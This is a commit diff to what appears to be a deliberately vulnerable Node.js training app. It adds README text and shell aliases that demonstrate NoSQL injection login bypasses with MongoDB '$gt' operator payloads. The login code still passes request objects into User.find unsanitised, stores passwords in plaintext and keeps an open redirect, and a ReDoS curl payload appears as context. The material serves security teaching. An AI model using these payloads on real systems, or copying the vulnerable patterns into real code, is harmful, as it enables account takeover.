fix: update README for NoSQL injection vector

Author: lirantal

README.md

@@ -93,6 +93,31 @@ The `validator.rtrim()` sanitizer is also vulnerable, and we can use this to cre
 curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"someone@example.com\", \"country\": \"nop\", \"phone\": \"0501234123\", \"lastname\": \"nop\", \"firstname\": \"`node -e 'console.log(" ".repeat(100000) + "!")'`\"}" 'http://localhost:3001/account_details'
 ```
 
+#### NoSQL injection
+
+A POST request to `/login` will allow for authentication and signing-in to the system as an administrator user.
+It works by exposing `loginHandler` as a controller in `routes/index.js` and uses a MongoDB database and the `User.find()` query to look up the user's details (email as a username and password). One issue is that it indeed stores passwords in plaintext and not hashing them. However, there are other issues in play here.
+
+
+We can send a request with an incorrect password to see that we get a failed attempt
+```sh
+echo '{"username":"admin@snyk.io", "password":"WrongPassword"}' | http --json $GOOF_HOST/login -v
+```
+
+And another request, as denoted with the following JSON request to sign-in as the admin user works as expected:
+```sh
+echo '{"username":"admin@snyk.io", "password":"SuperSecretPassword"}' | http --json $GOOF_HOST/login -v
+```
+
+However, what if the password wasn't a string? what if it was an object? Why would an object be harmful or even considered an issue?
+Consider the following request:
+```sh
+echo '{"username": "admin@snyk.io", "password": {"$gt": ""}}' | http --json $GOOF_HOST/login -v
+```
+
+We know the username, and we pass on what seems to be an object of some sort.
+That object structure is passed as-is to the `password` property and has a specific meaning to MongoDB - it uses the `$gt` operation which stands for `greater than`. So, we in essence tell MongoDB to match that username with any record that has a password that is greater than `empty string` which is bound to hit a record. This introduces the NoSQL Injection vector.
+
 #### Open redirect
 
 The `/admin` view introduces a `redirectPage` query path, as follows in the admin view:

exploits/nosql-exploits.sh

@@ -4,16 +4,16 @@ if [ -z "$GOOF_HOST" ]; then
 fi
 
 # Default working case - form fill
-alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v"
+alias ns1="echo -n 'username=admin@snyk.io&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v"
 
 # JSON working login
-alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v'
+alias ns2='echo '"'"'{"username":"admin@snyk.io", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v'
 
 # failed login
-alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v'
+alias ns3='echo '"'"'{"username":"admin@snyk.io", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v'
 
 # successful login, NOSQL Injection, knowing the username
-alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
+alias ns4='echo '"'"'{"username": "admin@snyk.io", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
 
 # successful login, NOSQL Injection, without knowing the username
 alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'

mongoose-db.js

@@ -45,11 +45,11 @@ console.log("Using Mongo URI " + mongoUri);
 mongoose.connect(mongoUri);
 
 User = mongoose.model('User');
-User.find({ username: 'admin' }).exec(function (err, users) {
+User.find({ username: 'admin@snyk.io' }).exec(function (err, users) {
   console.log(users);
   if (users.length === 0) {
     console.log('no admin');
-    new User({ username: 'admin', password: 'SuperSecretPassword' }).save(function (err, user, count) {
+    new User({ username: 'admin@snyk.io', password: 'SuperSecretPassword' }).save(function (err, user, count) {
       if (err) {
         console.log('error saving admin user');
       }

routes/index.js

@@ -35,18 +35,35 @@ exports.index = function (req, res, next) {
 };
 
 exports.loginHandler = function (req, res, next) {
-  User.find({ username: req.body.username, password: req.body.password }, function (err, users) {
-    if (users.length > 0) {
-      const redirectPage = req.body.redirectPage
-      const session = req.session
-      const username = req.body.username
-      return adminLoginSuccess(redirectPage, session, username, res)
-    } else {
-      return res.redirect('/admin')
-    }
-  });
+  if (validator.isEmail(req.body.username)) {
+    User.find({ username: req.body.username, password: req.body.password }, function (err, users) {
+      if (users.length > 0) {
+        const redirectPage = req.body.redirectPage
+        const session = req.session
+        const username = req.body.username
+        return adminLoginSuccess(redirectPage, session, username, res)
+      } else {
+        return res.status(401).send()
+      }
+    });
+  } else {
+    return res.status(401).send()
+  }
 };
 
+function adminLoginSuccess(redirectPage, session, username, res) {
+  session.loggedIn = 1
+
+  // Log the login action for audit
+  console.log(`User logged in: ${username}`)
+
+  if (redirectPage) {
+      return res.redirect(redirectPage)
+  } else {
+      return res.redirect('/admin')
+  }
+}
+
 exports.login = function (req, res, next) {
   return res.render('admin', {
     title: 'Admin Access',
@@ -110,19 +127,6 @@ exports.logout = function (req, res, next) {
   })
 }
 
-function adminLoginSuccess(redirectPage, session, username, res) {
-  session.loggedIn = 1
-
-  // Log the login action for audit
-  console.log(`User logged in: ${username}`)
-
-  if (redirectPage) {
-      return res.redirect(redirectPage)
-  } else {
-      return res.redirect('/admin')
-  }
-}
-
 function parse(todo) {
   var t = todo;